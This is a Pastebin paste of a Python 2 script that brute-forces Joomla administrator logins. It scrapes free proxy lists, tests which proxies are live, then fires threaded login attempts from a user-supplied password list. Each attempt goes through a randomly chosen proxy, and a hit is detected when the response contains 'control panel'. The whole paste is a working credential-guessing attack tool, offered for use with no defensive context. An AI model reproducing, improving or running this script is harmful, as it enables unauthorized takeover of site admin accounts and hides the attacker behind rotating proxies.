LOoLzeC

JoomlaBruteforce-3.9.2.py

Feb 9th, 2019
524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.99 KB | None | 0 0
  1. # Joomla Bruteforce
  2. # Version: Joomla! 3.9.2
  3. # Coyright : Deray
  4. # Instagram: @reyy05_
  5. # Fb: https://facebook.com/achmad.luthfi.hadi.3
  6.  
  7. import mechanize,threading,sys,time,random,requests,re,os
  8.  
  9. class main(threading.Thread):
  10.    
  11.     def __init__(self,url,usr,list,proxy):
  12.        
  13.         threading.Thread.__init__(self)
  14.        
  15.         self.url=url
  16.        
  17.         self.usr=usr
  18.        
  19.         self.list=list
  20.        
  21.         self.proxy=proxy
  22.        
  23.     def run(self):
  24.        
  25.         time.sleep(3)
  26.        
  27.         a=mechanize.Browser()
  28.  
  29.         a.set_handle_equiv(True)
  30.  
  31.         a.set_handle_redirect(True)
  32.  
  33.         a.set_handle_robots(False)
  34.  
  35.         a.set_handle_referer(True) 
  36.        
  37.         a.set_proxies({"http":self.proxy,"https":self.proxy})
  38.  
  39.         a.open(self.url)
  40.  
  41.         a.select_form(nr=0)
  42.  
  43.         a.form["username"] = "{}".format(self.usr)
  44.  
  45.         a.form["passwd"] = "{}".format(self.list)
  46.  
  47.         a.submit()
  48.  
  49.         if "control panel" in a.response().read().lower():
  50.    
  51.             print("[!] Password Found! -> {}".format(self.list))
  52.            
  53.             sys.exit()
  54.    
  55.         else:
  56.    
  57.             print("[-] No: {}".format(self.list))
  58.            
  59. # Get Proxy
  60.            
  61. komar=[]
  62.  
  63. class pox(threading.Thread):
  64.    
  65.     def __init__(self,proxy):
  66.        
  67.         threading.Thread.__init__(self)
  68.        
  69.         self.prox=proxy
  70.        
  71.     def run(self):
  72.        
  73.         global komar
  74.        
  75.         try:
  76.            
  77.             if requests.get("https://dorayy.joomla.com/administrator/index.php",proxies={"http":self.prox,"https":self.prox},timeout=3).status_code !=200:
  78.                
  79.                 pass
  80.                
  81.             else:
  82.                
  83.                 komar.append(self.prox)
  84.                
  85.         except:
  86.            
  87.             pass
  88.            
  89. print "[+] Grabbing Proxy ..."
  90.  
  91. r=requests.get("http://www.httptunnel.ge/ProxyListForFree.aspx").text
  92.  
  93. pr=re.findall('target="_new">(.*?)<',r)
  94.  
  95. thread=[]
  96.  
  97. for x in pr:
  98.    
  99.     t=pox(x)
  100.    
  101.     thread.append(t)
  102.    
  103. for t in thread:
  104.    
  105.     t.start()
  106.    
  107. for t in thread:
  108.    
  109.     t.join()
  110.    
  111. kol=open("proxy.txt","w")
  112.  
  113. for x in komar:
  114.    
  115.     print "+++ Live: ",x
  116.    
  117.     kol.write(x+"\n")
  118.    
  119. kol.close()
  120.  
  121. raw_input("[+] Press Enter To Run ...")
  122.  
  123. os.system("clear")
  124.  
  125.  
  126. # Happy Hunting ^^
  127.            
  128. class proxis():
  129.    
  130.     def __init__(self):
  131.        
  132.         self.p=""
  133.        
  134.         self.runs()
  135.            
  136.     def runs(self):
  137.        
  138.         thread=[]
  139.        
  140.         print """
  141.      _  ___   ___  __  __ _        _      _____ ___   ____  
  142.     | |/ _ \ / _ \|  \/  | |      / \   |___ // _ \ |___ \
  143.  _  | | | | | | | | |\/| | |     / _ \    |_ \ (_) |  __) |
  144. | |_| | |_| | |_| | |  | | |___ / ___ \  ___) \__, | / __/
  145.  \___/ \___/ \___/|_|  |_|_____/_/   \_\ |____(_)/_(_)_____|
  146.             [ Joomla Bruteforce Version 3.9.2 ]
  147.                    [ Coded By Deray ]
  148.                                                            
  149.         """
  150.        
  151.         url=raw_input("[+] Url Login Panel: ")
  152.        
  153.         usr=raw_input("[+] Username: ")
  154.        
  155.         lst=open(raw_input("[+] PassList: ")).read().splitlines()
  156.        
  157.         print "[STARTING BRUTEFORCE] List:",len(lst)
  158.        
  159.         print
  160.        
  161.         prx=open("proxy.txt").read().splitlines()
  162.        
  163.         for x in lst:
  164.            
  165.             tt=random.choice(prx)
  166.            
  167.             t=main(url,usr,x,tt)
  168.            
  169.             thread.append(t)
  170.            
  171.         for t in thread:
  172.            
  173.             t.start()
  174.            
  175.         for t in thread:
  176.            
  177.             t.join()
  178.            
  179. proxis()
Advertisement
Add Comment
Please, Sign In to add comment